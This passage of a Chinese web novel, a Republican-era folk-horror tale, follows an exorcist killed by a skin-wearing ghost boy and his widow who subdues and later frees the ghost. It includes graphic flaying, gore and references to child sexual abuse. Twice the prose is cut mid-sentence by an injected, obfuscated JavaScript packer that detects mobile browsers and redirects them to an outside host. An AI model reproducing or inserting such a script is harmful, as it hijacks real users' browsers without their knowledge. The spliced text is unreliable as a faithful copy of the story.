不过沈樵还是及时叫醒了他的脑子。 “不,醒醒!跑!!我要跑!可我这是被召唤了?不可能!快跑快跑!快跑快跑沈樵!回家去快跑!!” 沈樵虽然胆子不小,但也早锁定了藏身之处,他躲避宣家小少爷的动作可以说是连滚带爬,一头钻进了旁边的灵桌底下。 还好灵位挡住了来人视线,那个穿黑斗篷的身影要是快了一拍就抓住沈樵了。 “天灵灵地灵灵……阿官,你可得说话算话让我逃出去……还有圆满收了这个小少爷……”沈樵也会怕死,他看着手上的一张白纸和整套朱砂笔。 沈樵傍身的祖传技艺就是纸术。 东汉时期,他家先祖结束造纸官生涯,藏身民间,并发明了人类驱魔仪式中的第一入门绝学——定鸡术。 宋朝时沈家另一位先祖进一步改进这种巫术,在东京城中竟能用白纸定住一个男人,让其灵魂出窍变成呆傻孩童。 所以,他敢来就是因为觉得宣府只是撞上了小鬼。 可他很快发现,宣家最后一个活口在进来后变得无喜无悲,沈樵看到他先像僵尸一样慢慢地走到翠英的跟前。 世人目前应该还不知道他的名字,但是宣小少爷的衣服变回了小道士。 然后他查看女尸脖子,全部掰断。 这一套流程在他手上做起来当然是很熟练的,沈樵观察着他的皮肤,看到人皮俑少年的皮肤很青,在光下显得莫名可怜,他的脖子和手脚还有很多被人用香炉烫出来的莲花图腾。 那姓张的老道士看来死得一点不冤枉……一般人不敢想少年受过什么样的苦,只能继续看他在干什么。 一开始画面还挺正常,很有人间温情。 因为那宣家小少爷把女人先是像抱娘亲一样玩了一会儿。 翠英折起来的脖颈子在他怀中变得更软了,她软的像一块不裹身的布,又白又滑。 可没有人类意识的少年没一会儿也玩腻了,他拿起刀继续开始剥掉女子的人皮。 一瞬间有一大片喷到道袍上的人体血液往下滴落,淌过女尸脸上的脂粉后,又伴着人皮被揭开的动作重新回到了少年的额头两侧。 没错,少年道士竟在厌倦之后把翠英的脸皮覆盖上了他的“脸”! 期间,他不忘记用油灯照着面容,浣起青丝,扑粉上脸,还手巧地拿宣府丫鬟的红纸抹了一个樱桃小嘴。 就是唯独他的喉结没变,嗓子也不能变。 这是男子变女? 沈樵吓得一身冷汗,他真没看错吗,但是这个新的“翠英”那边不知何时就站了起来。 月光下,“她”两条狭长眼尾边的红色胭脂像凤凰泣血,耳垂上的美艳金色耳饰更是晃得人发毛。 沈樵把来时的目的想了想,终于决定跟过去确认活口,一路上他 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而且那阿旺估摸是中邪程度很深,尿完又开始渴坏了,他在没有神志地四处找水。夜幕之中的他每个烧着的毛孔都在叫嚣,体内的未知神渐渐吞噬了男人眼球的白色,然后,他决定喝自己的,趴下来就往热尿上舔。 热气腾腾的尿是什么味根本没人想明白,看到这一幕的沈樵捂嘴有点想吐。 小道士玩娃娃上瘾,训他这只狗儿子的想法也花样百出,他继续命令阿旺张开大嘴,逼店小二把两眼往上翻,两颊急促地呼吸着。 “起——” 小道士拉着两根手指上的红线。 阿旺被绳子牵引,像《女吊》这出戏文里的木偶戏主人公,在连蹦带跳。 那个操控戏台的少年仰视娃娃,声音柔柔说:“夫君,我有了,侬欢喜不欢喜呀,肚子里有东西在踢我,一下下的。” 说完,小道士依稀笑了起来,嘴角张开露出黑色的口腔,他脸上偷来的假脸比纸扎更惊悚而惨白。 阿旺却似乎跟着他的描述一起入戏了,双手合在一起扭来扭去的,那少年声音又娇羞带他转了一个圈。 “夫君,侬不信啊?那我来生出一个小冤家给你看看。” 话音落下,阿旺开始脱掉裤子,现场表演“生”了,其怪叫宛若产房内的女子,尖利痛哭,像极了旧时代女性难产的声音,等到了这名男产妇临盆的关键时刻,胖子店小二的下边猛然间喷出半人高母体黄色脓液,大开门户的腿间还爬出一个白色的大头纸人怪婴。 婴儿爬啊爬。因为头太大,一眼只能看见胖短短的小腿和小手像大肉葫芦,可等鬼孩子卖力扯破母亲的肚皮落地后,它的喉咙里发出一种成年男子般的桀桀怪笑,它似乎根本不是别人,就是那名少年杀人者,那双黑色的大眼球也像螳螂卵泡,往外喷射出阴邪的恶意,占据了他一张魔化的三角脸…… “啊啊!”沈樵不敢相信这一幕。他在黑暗中见证了巫傩带给人体结构魔化的恐怖场景,梁上下来的斗篷人忽然暴起,把他钉在地上,掐住了他的脖子。 沈樵闪躲不及,他被这少年非人一般的恐怖力气骇破了胆子,意识到此人是不想留活口的。 可被这小道士正眼一看,沈樵还是失了神,无关其他,是他发现人皮傩仙本体竟然根本还是个十来岁的少年。 宣家小少爷虽然在恶狠狠瞪着大人沈樵,这也是一双小孩子的眼睛,底色无辜天真得像还在问爹娘要糖吃的年纪,但蓝衣小道近看的脸偏偏成了沉默悲哀的塑像,像无情无欲的一潭平静死水,根本不像寻常年纪的少年郎,沈樵自私自利了一辈子,当时就觉得,眼前这种心死了的可怜孩子,即便被滚烫的火油和烈火浇注,他也只是遇冷即死的生铁,不会喊疼和哭泣,危险来临都只让他麻木和空白。 “……啊……孩子……你……” “你……” “你……”也是受苦了。 沈樵怀着一颗千回百转的俗世热肠最终迎来了小命不保,他还很后悔没有听夫人的话,人彻底玩完了,也没给沈家留后。 临死前的他觉得自己被骗了,阿官,你该早说啊,宣家那个小少爷和“官”才是一样的。 “祂”恐怕早就不是一个“人”了。 …… 此念头落下帷幕,沈樵的表情凝固了,手压在了马氏缝的灰蓝色布衫上。 沈樵,也就此成了1944年第一个知道了宣家人皮俑之谜的传奇故事当事人。 他一生热衷《易学》,不算大奸大恶,和太太丫鬟躲回绍兴,也只是想平淡地过完余生,更没有危害他人的野心,所以落到这个结局自然是很悲惨的,而且不止如此,他的尸体也被府邸其他的尸鬼们啃了,红色的大头娃娃还从男娘娘的子宫挤出胎盘,爬向了他。 翠英死了。 阿旺在替一位民国时期诞生的新神袛生出了孩子后,已成了一块没有祭祀价值的白粿。 人皮傩仙俯瞰看着沈樵,大脑思考帮他选好了新“脸”后,他马上动手撕掉了前一张女人脸。 五官凹进来的宣家人俑低声自言自语。 学的是沈樵爱讲的老宁波上海腔。 说来惭愧,当时本地能听得懂这种非洋泾浜方言的人只有两个。 那就是隔壁也从繁华大上海来的纸扎铺娘子和她的丫鬟。 4. 天字号:阿官(4) 此时有一个漂亮的眼睛,她正望着天空发呆,身后那两条甩来甩去的麻花辫和大大的水杏眼也告诉了别人,她就是守在马氏跟前的小翠。 在先生离开家后,这个小姑娘便察觉出来了镇子的不对劲。 她很奇怪地想,为什么这夜门口不仅没有星星月亮和风,到现在也没有老鼠一只往外跑出来? 她总在厨房干家务活,磨损的双手连擦尿素霜的功夫都没,自然而然也会懂老鼠才是观察一户人家是否有吃饭筷子的根据。 世上不会有这样不知轻重的大户人家吧,明明说好请全镇吃大席,到了夜里还不见一颗耗子屎,这个席面背后八成藏着猫腻! “地藏王菩萨保佑,让老爷还是快点回来吧。”小翠希望沈樵能平安,但是她很快又看了宣府一眼,不知怎么的,只有小时候她看见过的寡妇守贞缢吊可以形容这个府邸的邪门…… “莫非真有猛鬼?” 这想法一出,把小翠莫名吓得一身冷汗,夫人马氏却不知从何处翻出一本旧书。 小丫鬟过来伺候她,马氏把旧书紧张地拿到油灯下,从腋下抽出一条手绢擦走冷汗,右手抖开披肩盖住青绿色旗袍的裙摆。小翠忍不住低头偷瞧,看见那古书散发霉味的破烂封面缺了一角,正当中有三个鬼画符的符篆大字。 《缺一门》。 “缺……一门?”小翠大声把秘密说出来:“奶奶,那不就是民间传说里的神秘邪书《鲁班书》吗!你要拿这招亲自去找老爷吗!” 马氏的心里也在挣扎着该不该用这本禁忌邪书。 在未出嫁之前,因为她帮人过阴去过几次地下,对地府又很是了解,她机缘巧合得到了《鲁班书》的残缺不全版本,可由于书中绝技深受封建礼教的影响,所以产生了一些重男轻女的禁忌,禁忌内容主要就是女子不能代为请神。 以前马氏一直都是偷偷摸摸学鲁班书,她也确实有点天赋,虽然她靠此书有幸所见的冥府地官们,也远远没有沈家祠堂传来的这股神明气味来得压迫人,更别说出手对付宣家藏着的“官”,但是她的预感能力强,经常能感受到几步之外所有鬼神的气味。 对的——马氏的大脑一片空白,她就是感觉得到绍兴今夜有两个官。 官,就是这个世界的上神,上仙,那些所有人类无法触及的天外来物,据说这种对各路鬼神的叫法,最早起源于北魏。 当时道教在人间形成派系后,祖师爷创立了天,地,水三官神邸。 传说,天官的生日,在农历正月十五,历史上称上元节。地官的生日在农历七月十五,民间称中元节,水官的生日在农历十月十五日,就称下元节。 按她这本鲁班书的说法,这三日,地府原本都会放出鬼魂,民间也要进行祭祀鬼魂的活动,所以三官生日本质上是以祀鬼为中心的节日。 只是上元节和下元节的来历分别没落了,后来中元节才会发展成为中国民间最大的鬼节。 于是马氏合上书,决定做一个实验探探路:“小翠,你去帮我看看店铺里面被人订做的纸扎四大元帅是怒还是怕?” 小翠道:“大元帅都是天兵!他们怎么会怕!肯定是怒目而视各路邪魔歪道!” 马氏让小丫鬟快去看,回来再说,小翠的人穿过一次厨房,没多久就安静了下来,她在里头的讲话声音变得弱了很多。 “奶奶……大元帅,大元帅他们都……” 马氏答:“说。” 她说完拿出了牛角卦,小翠跑到她的腿边上,趴下来边哭边说,“它们都七孔流血了!外头是不是真有妖怪啊!” 这时,三更灯火里多了一个长长的黑色影子,他带着把红伞,身后空无一人,浙闽宗族的一出傀儡戏却在上演。 马氏听到门口有小孩子发出笑语,歌声,银铃儿一样的。 还是她们熟知的绍兴童谣。 “摇啊摇,摇到外婆桥,外婆备侬邱年糕,糖沾沾,多吃块,盐沾沾,少吃块,酱油沾沾没有头……” 两个女眷惊愕失色,然后差点打翻掉青花瓷茶具,桌上的灯慌了,变相也表达了她们对未知的畏惧,可是那唱歌的声音还在外面逼近。 马氏于是写了一张驱鬼咒,丢出去轮到家门口的第一道帘子等等看驱魔的效果。 她还在心中默念了三遍口诀:“五星镇彩,光照玄冥。千神万圣,护我真灵。巨天猛兽,制伏五兵。五天魔鬼,亡身灭形。所在之处,万神奉迎。急急如律令!” 门外一片漆黑,一道阴邪婉转的鬼唱戏停了,她们一开始以为家安全了,没想到门外又有怪声。 马氏不得不又加了一道防鬼咒。 她这次咬破指尖,家门的门槛被涂抹了三滴红艳艳的血。 她第二次念诵祖师爷口诀: “人来隔重纸,鬼来隔座山,千邪弄不出,万邪弄不开。” 然后她等了一下,却没想到门口的唱戏鬼这次回答了她一个意想不到的惊喜。 只听,宣家那个跑出来的小道士轻轻就盖过了马氏的血符咒在黑夜中笑了一下, “太上老君教我杀鬼,与我神方。上呼玉女,收摄不祥。登山石裂,佩戴印章。头戴华盖,足蹑魁罡,左扶六甲,右卫六丁。前有黄神,后有越章。神师杀伐,不避豪强,先杀恶鬼,后斩夜光。何神不伏,何鬼敢当,急急如律令!” 这个斗法反被击杀的结果让马氏头皮麻了一下。 她家的门板此时也撑不住了,小道士的血手印拍上了木门,最当中还有一张非常像一张人脸的鬼笑面。 更逼疯了马氏的是很快外头离沈家不远的对门河岸就引来了一群鬼孩子们,后院招小鬼的窗子也用能让普通人一辈子留下阴影的缓慢速度被一条竹竿子撑起来。 “吱呀——吱——呀……” 她们看到门口窗边上站着一个拿菜刀的影子,两个女人被吓得冷汗直流,可现在分明已经是农历入秋月了。 屋外的道士在回魂夜扭曲着面容朝里瞪了一下,一手抓着被砍成好几块的人肉躯干,一手抓紧锋利的刀子,他还探头看向一门之隔的屋子,里头有一张没了沈家夫人踪影的贵妃椅,但是茶几上有一个古董妆盒,房里面藏起来的太太和丫头看来还是没有来得及洗掉香粉和胭脂。 “夫人,小翠。” 红月压着阴宅,宣家那个厉鬼一用枕边人的嗓子说话,马氏的眼泪也扑簌簌地流,她一脸全是心死如灰,不敢置信的神色。 她还知道,夫君……真的可能被杀了。 “沈樵”还在继续敲带他回家的木板门。 “阿拉(我们),今朝(今天)夜里,去阴曹地府白相(游玩),好伐?” “夫人,小翠,今朝(今天)开门见囍啊。” 马氏和小翠的脚底板被喊得好凉。 这样一个鬼叫窗的恐怖局面摆在眼前,能否降伏恶鬼,替家挡灾,对于马氏一个深宅妇人来说都是艰巨到心头窒息的任务。加之夫婿的皮现在在这个道士的脸上,她知道了结局的半身落在阴影化作一座慈悲观音,沉默的淌泪声音让小丫鬟也哭了起来。 马氏连忙抱住小翠,道出它们的来历,只听两个女子在低低说,“别哭,我的小翠,你听我说,门外面的那些小孩子们并非是人,都说婆娑世界轮回,前方有一饿鬼道,鬼性渴饥,嘴如针尖,肚子巨大,食量还能吃下一座山,这种鬼一般不能在下元节以外的日子多逗留,所以我可以设法在天亮前把它驱赶出人间的……” 正在这时,忽又听外间屋子,啪的一声,接着又“咣当,格拉”一声,仿佛是八卦镜碎了,掉在了地下,被鬼道士捡起来塞进嘴里含着嚼碎的声音。 小翠害怕得很,她弯腰偷看地上的茶杯碎片渣子,大气也不敢出,一喘都觉得嗓子被划得巨痛。 先时,她同沈家夫妇在上海也看见过胡同弄堂里的老人孩子们撞克,那些人都是胡言乱语被妖精附身,没有哪个会长得好像龙华寺那座宝塔里的血肉菩萨啊! 马氏用口型说:“我就在这里不走,小翠,别怕,你去把我的跳大神面具拿来。” 小翠掉头就又从床底爬走,留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马氏伸着两手,她汗流不上,连吸几口气,忽然,灵光一闪的她冲到了卧房内室挂纱帐的黄铜挂钩面前。 这种床头带钩多为长体造型,前有钩首,背后的中尾部有圆形的纽,钩和纽是连接腰带两端的接点,马氏扯下沈家这个钩,反手就扎向男鬼的左眼,对着那厉鬼就使用上了《鲁班书》中的黄晶取眼杀鬼咒。 紧随其后的宣家小少爷仰天长啸,捂住双目,他血淋淋的青白纸人脸上顶着一个钩子连连退后。 与此同时,小翠隔着门板偷听,听见打斗就拔开门闩,冲进来帮自家奶奶, 当她亲眼看见厉鬼受伤,小丫头紧跟上去,直接反手把家里煤球炉子用的烧火钳扎进了厉鬼的右眼。 小翠才十三岁,她敢这么勇敢,是因为她这辈子只想保护马氏。 小道士扭头注视了和他相差不了几岁的小丫头。 钨丝灯泡照着他流血不止的眼睛成了两个血窟窿眼儿。 他怪笑了一下,即将倒地的身子斜斜滑了一跤,骨子里还不甘心就这么死的淬毒念头也呼之欲出。 不过很快,这个失去精魄的人皮俑已经快速瘪掉,他衰老出雪白干枯的头发,烂泥一样瘫下来的四肢也成了女娲造人的失败品。 马氏见状的脸上全是汗液,呜咽几声方才点灯,受尽恶鬼折磨的她和丫鬟走进侧室。 地面的小道人七窍流血,面色淡青,头束生绢抹额,长发散落在十来岁少年人的身体上颇有些楚楚可怜。 马氏顾不上细看,再次俯身凑近宣家小少爷的尸面,接着纸扎铺娘子亲自写了一张符咒贴在他的眉心正中要害,又对宣家厉鬼的鼻子吹了一口气。 这是确保他不起尸。 第二天天亮,马氏和小翠一夜未眠地在喜鹊剪纸窗边等到了那道救她们命的阳光,巡捕房的人在外头敲门之前,宣家灭门的事情已经震惊了地方。一群只会喝酒赌钱的政府大头兵不敢想杀人的凶手去了何处。他们更不敢相信昨夜唯二的两个幸存者会是马氏和小翠这种女流之辈,毕竟旧社会只要求她们懂得刺绣女工,生养哺乳,可还从没有听说过女天师。 5. 天字号:阿官(5) 正月十三是上灯,家家户户都要买灯。 沈家新店也早早挂上了一排方位正好能迎接喜神的龙灯、凤穿牡丹灯和虎头灯,这些灯笼都是小翠亲自扎的,她觉得红的比白的好看,准能扫除整个上海老城区上空飘散的心绪满怀,各自神伤。 “小翠……小翠你在哪儿?茶叶蛋有没有关火焐一焐?”马氏从楼上问,小丫头片子抓紧围裙擦手,立马就从洗衣凳子上跳了起来,“诶!我给忘了!来了奶奶!你一个女人家带着身子,千万别下楼梯来跌跤!” 马氏答,“那你慢慢来,忙不过来要叫我哦。” 就在去年,小翠和奶奶马氏因为“除妖”有功被政府嘉奖搬回了上海南京路。 回家后,大家起初都不敢说话了,可没过多久,又有磕牙的声音讽刺起马氏的运气好,死了一个男人换来那么大一间纸扎铺,又嫉妒报纸上把马氏夸的天花乱坠,说什么她是万千慈悲尊圣母,修我泱泱三善根!唉,再风光无限,还不是一样成了寡妇? 小翠每次听到,都会拿起笤帚,插着腰臭骂街坊,谁敢在奶奶耳朵边上放屁,她就往这家人的门口倒马桶。可惜沈家这刁蛮小丫头今天也没工夫巡逻弄堂了,因为她们家中有客人来。 今天来的人,像两个道长。 马氏支开了小翠,让她去厨房给亲哥哥马道长和另一个中年道士煮一锅红枣莲子汤和茶叶蛋,估计怕小翠太闲又跑出去找碎嘴子打架,她要求小丫鬟再加上自己近期在吃的妇科金鸡补血颗粒,一碟猪油玫瑰年糕和桂花酸枣糕。 小翠蹦蹦跳跳返回小厨房,麻利地关上门,她料理好茶叶蛋和糖水,才搓起糯米粉团子,只见她往小盆里放上了香喷喷的猪油,玫瑰,核桃松子和冰糖块。沈樵以前在世的时候,一家三口总是站在一起做时令糕点,老爷会做纸扎,会画画,他每次都亲自设计各种印子图案,把马氏哄得很开心。 这令人不得不哀伤起来,小翠想做人和气精明的沈家老爷了,她觉得马氏也一定也是如此。 可由于今天家里有客人,小翠没有往下多想,但是她并不知道,屋子里面的马氏正在哭。 直到那名茅山来的正统道士说完了宣家母子被害的旧案卷宗,马氏才看了一眼沈家堂屋摆的丈夫遗照。 名为青峰道长的白须老真人坐在家里的红色丝绒沙发上,他注视马氏的眼眸欲言又止,马道长明显也是坐立不安。 “妹妹……你想骂就骂吧,千万别憋着……”亲哥哥说。 马氏长叹口气,索性闭上眼睛,却发现泪水怎么也止不住,疲倦感浓重的旗袍女子仿佛被命运打了一个耳光,因为就在刚刚,面前的两个道长告诉她,绍兴去年的命案原来不是谁本来就害谁,是一群平常人之间阴差阳错的会面,是一场封建礼教和大时代压迫底层酿成的悲剧。 她为何会这么说。 源于这名真正的道长带来了那个妖道张仙人被几十个百姓联名揭发的可怖罪状。 二十年前,张道士打着驱魔的名号四处招摇撞骗,生生奸污了二十多个少男少女。 他把他们的生魂封死在瓦罐,炼制成“鬼妓”供给各路行商亵玩。 民国年间战乱时,确实有很多寺庙和尼姑庵会背地里从事勾栏生意,民间故事中的《聂小倩》描述的正是这种恐怖的鬼妓生意。 据乡民们说,张仙人的小道观里头每天晚上都会传出鬼女们被逼着弹唱的淫词艳曲,活像西游记中的血红色蜘蛛魔物巢。 可怜那群鬼妓们生前受苦挨饿,死后饱受屈辱,可以说,这个魔窟简直是地方一害了。 后来有一天,张道士抱回了一具死在绍兴古镇的少年尸体。 亲眼见过这尸体的人后来都说,那白发少年可真是一具世间难得的骨肉皮相,他垂手躺在棺木里像仙桥灵鹤,通透见骨的肌肤泛着珍稀玉瓷的青白,姿容气质不仅继承了母亲白氏,被活活淹死的不腐阴尸还源源不断散出梨花的香气。 他做尸体的香艳之处更甚从前,张仙人自然格外青睐。 这个糟老头子将其用前朝墓葬挖出来的金缕玉衣裹尸为俑,让他嘴含玉蝉,靴底踩花。 他自己一天天的道德经也不念就抱着宣家小公子的艳尸等着“复活”。 张仙人本以为能驯服宣婴为自己所用,却不想厉鬼少年在睁眼一日当即反杀了他,甚至将其勒死后放跑了所有鬼女和娈童。 老道士暴毙,他的魔窟落得树倒猢狲散,道观便彻底荒废,唯独留下几本道教邪术被宣家小少爷捡到了手。 刚好宣家小少爷决心报复生父宣庵庭,他就找出其中一门献祭了血肉白骨和脏器。 乱用巫法注定是没好结果的,宣家小少爷的结局有所注定。 可在此事上真正错的是一个人吗?不,错的是整个黑暗时代,是人们依旧走不出封建社会的思想,是千千万万的重男轻女者,迷信害人者,背信弃义者,卖国求荣者。 他们可以预见未来有一日,日本人一定可以被赶走,但是中华民族要复兴,中国人就不能任由张道士这种恶棍有机会再出现。 讲到此处,青峰道人对马氏拿出一堆留下血淋淋手印的活人赊魂契约:“夫人,我和你哥哥马道长来找你,是觉得该把全部的真相告诉你。” 马氏闻着楼下即将煮好的元宵,低头看着桌上的纸,手伸出去的动作第一次这么慢。 可她对活人赊魂再有耳闻,也被接下来眼前的字字句句弄得鸡皮疙瘩差点落了一地。 【请华夏巫神‘獬豸神’降临我身,信徒宣婴甘愿以双脚换取傩力】 【请华夏巫神‘狎鱼神’降临我身,信徒宣婴甘愿以右臂换取傩力。】 宣婴就是宣家小公子的名字,在他写的这些魂契的后面光是名有姓的巫神名字就有狻猊、行什、骑凤仙人、旱魃、饿鬼之母大黑佛母…… 因其立下毒誓,不报母仇,誓不罢休,他炼化为人皮傩后,便带着上百个饿鬼道的婴儿来到了古镇。因为活人做鬼后不吃人肉就会饿死,宣婴必须因为业力而麻木地吞噬他人的魂魄,所以他不断地剥走人皮,最后被马氏收服本身都是不受他自己控制的。 马氏于是问:“所以你们的意思是,宣婴虽然被封印了,但他永远不可能被任何人杀死?” “是,宣婴目前还能听见外界的声音,而且……按照我和马道长几次尝试超度他的结果来看,他僵硬的尸身并没有任何求生欲,是一些解不开的民间巫术在强行复活他的人皮俑……” 青峰道长讲到这里,很是佩服这名夫人的坚毅勇敢,也对宣家小公子的事情颇为左右为难。 犹记得他们门派最初发现其单名一个婴字时,派中一位老道长曾说,婴是孩子的意思,想来得知儿子落到这种下场,起这个名字的白氏才是世上最伤心的娘啊。 他于是就下山帮这个忙了,他想告诉马氏,宣婴的作恶从来不是本意,按照道家的观点,宣家小公子应该被度化超生而不是被打散生魂坠入地狱,马氏的哥哥马道长也是这么觉得的。 马道长看了看妹妹,叹了口气:“妹子……妹夫走了,但你身后还有娘家,你不妨带着小翠回嘉兴老家吧。” 她从嘉兴赶来的亲哥哥马道长牵着妹妹的手似乎有心无力,马氏对宣婴的恨意不是谁都能懂的,她的人被丈夫的死折磨得一下子衰老疲惫,已经没有再多力气状告到地府。更何况即使地官同意她跑去杀了宣婴,从前陪伴她深夜做女红的好夫君沈樵也回不来了。 可说来也怪,马氏也没有找地府再追究谁的责任。 她亲自走阴,替沈樵死于巫蛊的灵魂摆渡,眼见亡夫彻底进入了活人轮回转世的下一世才写了一则书信给亲哥哥。 “中国人有中国人的信仰,中国人有中国人的义气。” “罢了。” 这两个字,可谓是一个皆大欢喜的圆满结局,可这个故事要是能这样子迎来落幕,或许所有人都不会迎接接下来的变故。 一年后,有一具被驴蹄压不住的活尸跑了的事传到了外界,是的,他就是宣婴,被马氏小翠降伏后没办法杀死就算了,这个厉鬼竟然又一次换了新皮囊。 他是被谁从棺木揭开黄符放掉的? 当时没人知道。 逃走的他也不再藏着,还顺带处理了生父搜刮的民脂民膏。 他最喜欢用的一张皮囊也只有绍兴血案的亲历者见过,于是他就用那张让人万劫不复的脸与文人墨客们堂而皇之站在一起,他穿着卡其色套装衬衣长裤,驼色报童帽搭一条围巾,颇有民国贵公子的派头,但是孩子气的天真面孔一点也没变。 报纸上还给出了他对传度中华民族正教所做出的贡献力量。 【“兹有海外匿名人士宣先生,为南京博物馆送上国宝级文物若干。】 【“其含景德镇皇窑陶瓷艺术博物馆陈列的乾隆粉彩花蝶纹盘、乾隆广彩仕女图盘、乾隆广彩花卉纹盘、乾隆广彩盆花纹盘、乾隆粉彩孔雀牡丹纹六方盘、雍正粉彩仕女图盘、乾隆粉彩莲池鸳鸯纹盘、雍正广彩雉鸡牡丹纹盘、乾隆粉彩鹿鹤同春图盘…”】 位于千里之外的道教七十二圣地道场,一个道姑端坐在香火鼎盛的三清殿,这条报纸上的历史新闻被她带五帝铜钱的手掌合上了。 外人不知道,她就是跟随哥哥修道之前的马氏。 如今的她已经化名慈心道姑。 今日偶然从镇江香客们给的报纸上看到了老熟人的报道,她的心情依旧是八个字——岁月静好,现世安稳。 早在她当年逃出安昌镇后,她的心脏对世间万物再无牵挂,也学会了放下人间仇恨,此刻她对着纸上的模糊鬼脸,轻轻地叩问所有人:“我已经走出来了,你又何时能超生,厉鬼宣婴?你至今还在执着寻找什么?” 恐怕只有一个戏文能解释了,绍兴的《目连救母》,讲的不就是一个儿子为救母亲宁愿徘徊在地狱里头吗。 人间苦海无涯,宣婴要找的不是一个彼岸,是他娘白氏的魂魄。 马氏看明白了,偶尔同情他的手落在生命里的最后一丝执念上,目光像是静静等待着一百年后,这满满的怜悯之心,是一个母亲,祖母和太祖母的诚恳温柔。 这个名叫马志芬的女子历经近代史的浪潮,经历了与丈夫的生离死别、侵略战争、送孩子回娘家后毅然出家等等。她一路流浪于大江南北,终究是看破了许多事情。 去世之前,她在一本蓝色单线本日记上尽量细致地记录了她自己一整个跌宕起伏的人生。以此留给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950541|160910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世人,给她送回嘉兴的双胞胎儿子,最后也要献给了一个还没见过面的后人。 这个孩子早就有名字了。 日记的落款处,写的正是一百年后的沈选收。 当日她得知宣婴的故事后一夜没有能睡着,家里面的“阿官”却显灵,并在梦中告诉了她一件事。 【“马氏,你夫家命中注定有这一劫,但是我可以告诉你,你是可以成为母亲,祖母和太祖母的人,你现在腹中已经怀着一名遗腹子,这个人的后代会超越沈樵,我还可以送你一个名字。”】 早知怀有身孕的马氏大哭,她克制悲痛,连连磕头问:“您算到的……名字叫什么?” 阿官答:【“沈选,神选之人。他会在一百年后的某一年,二月二十九寅时出生。”】 马氏不哭了,点头说她记住了,阿官确实更欣赏这个女性凡人身上的冷静隐忍气质,所以“祂”又主动说了一次卦。 “祂”还第一次喊出了这个妇人的完整闺名。 【“马志芬,宣婴和你沈家的关系不是孽债,是你们和他之间的造化,一些因为他而源源不断到来的福气还在后头,我姑且告诉你,这个沈选一定会出生,同时在那一年,世上还有三个异鬼会一起出生,它们是上古神族颛顼氏的三个儿子,在我的时代因为各部落战祸变成了异鬼,它们三个,其中一个住在江中变为虐鬼,一个住在山谷中成为魍魉,最后一个隐藏在每个人家中的屋角,但你家的这个孩子一定会继承“傩”的能力,他也会帮助宣婴的灵魂成功逃出饿鬼道。】 【“他们未来再需要召唤我时,你可以教二人写下我的名字,方相氏。”】 也是在那一日,传奇女天师马志芬做出了一个决定。 她偷偷买了一张南京车票,变卖家中珠宝,去买通义庄看守偷偷找到宣婴的尸体,并且在揭开那道黄符的那一刻,她留下了一道母亲的符咒。 那是道教泰山奶奶庙中求来的灵符。 传说泰山奶奶又名碧霞元君,平生最袒护孩子。 自十几年前那名绍兴桥边取水给母亲的少年失去了遮挡他头顶的黄油纸伞。阿母二字,也化作古镇冲入淤泥涌口的春草、桥边老化湮灭的烟囱,成为了他再也不能喊出来的名字。 一百年前的马氏当时就这么看着长发少年,轻轻地擦拭他眼角的血泪,说:“我给你买了连夜逃走的车票,一个时辰后,你必须离开这里,我要求你去南京城想办法解决屠杀者冤魂徘徊夜间的问题。你不许再做鬼,你必须做人,义无反顾帮其他苦命人,不做到就等着我再收你。” “但你也不用怕,从此以后,道教的泰山奶奶会成为你的干娘,因为你的名字,是她老人家会一辈子偏心的……阿婴。” “也愿一百年后,你能活成你的名字,我丈夫的姓氏,年年来我坟前报佳信。” 棺材里静静平躺的宣婴仿佛真的也听到了。这个道袍少年傩人一直都对超度仪式充耳不闻的手指头剧烈波动着抖了抖,可是他力尽而僵的尸身苦无苏醒过来的对策,只能拜托窗边的一支支红梅花苞恣意地怒放,凋落,在整个民国时期的上海冬天盛开。 白色的丧服和纸鞋让他的脸色调统一,面门覆盖的镇魔黄纸却慢慢地浸透出两行清泪一样的水痕。这些泪水悉数落在他的面庞,把纸都哭皱起来像一片片宁波云片糕。 那是马氏在少年魔化后吃人状态时从没看见的伤心欲绝。他的心仿佛被掏空,关闭大门的心房在静默的哭声中说着此起彼伏的故事。 他在对着大地,对着母亲,对着送他盘缠车票的好姨娘马氏哭诉这一生的孩子委屈。 他也将永远不会再变老,替所有人活在1949年的上海了。 …… 与此同时,一群鸽子在哨子声中起飞,在南京西路弄堂里的南麓依旧沉淀了上海市的冷暖自知,东街阿婆刚刚来买金银纸,纸扎铺的亲民价位依旧吸引着穷人,小翠现在正在准备绍兴风味的晚餐,她的耳朵听到外滩一号的游轮声、巨鹿路的教堂敲钟,还有抵抗列强的学子们在街上游行示威。 可不巧了,这读的就是她们绍兴人写的书。 *“我翻开历史一查,这历史没有年代。” “歪歪斜斜的,每页都写着仁义道德几个字。” “我横竖睡不着,仔细看了半夜,才从字缝看出字来,满本都写着两个字是,吃人。” …… 从那以后,绍兴傩仙成了民国最出名的床头鬼故事主角。后来,这张人皮彻底消失在战火纷飞的年代。有人说,它被当局撤退时带去了海峡对岸,有人说它还在浙闽交界处,人皮傩的下落也成了民国末年民俗传说中最后的一个悬案。 物换星移,人事代谢。 1949年。人间准时来到激动人心的历史拐点。 渡江战役拉开。 公元184年,太平道教主张角喊出,“苍天已死,黄天当立。” 同时他告诉百姓,帝不亡,天下人亡,唯有帝亡,才能让天下人生。 延安山头,伟人的声音拉响了全国电报,也宣布帝国主义时代正式结束。 “中国人民百万解放军战士们。” 打过长江去! 解放全中国! 6. 天字号:金华夜鬼(1) 一转眼就过去了十年。 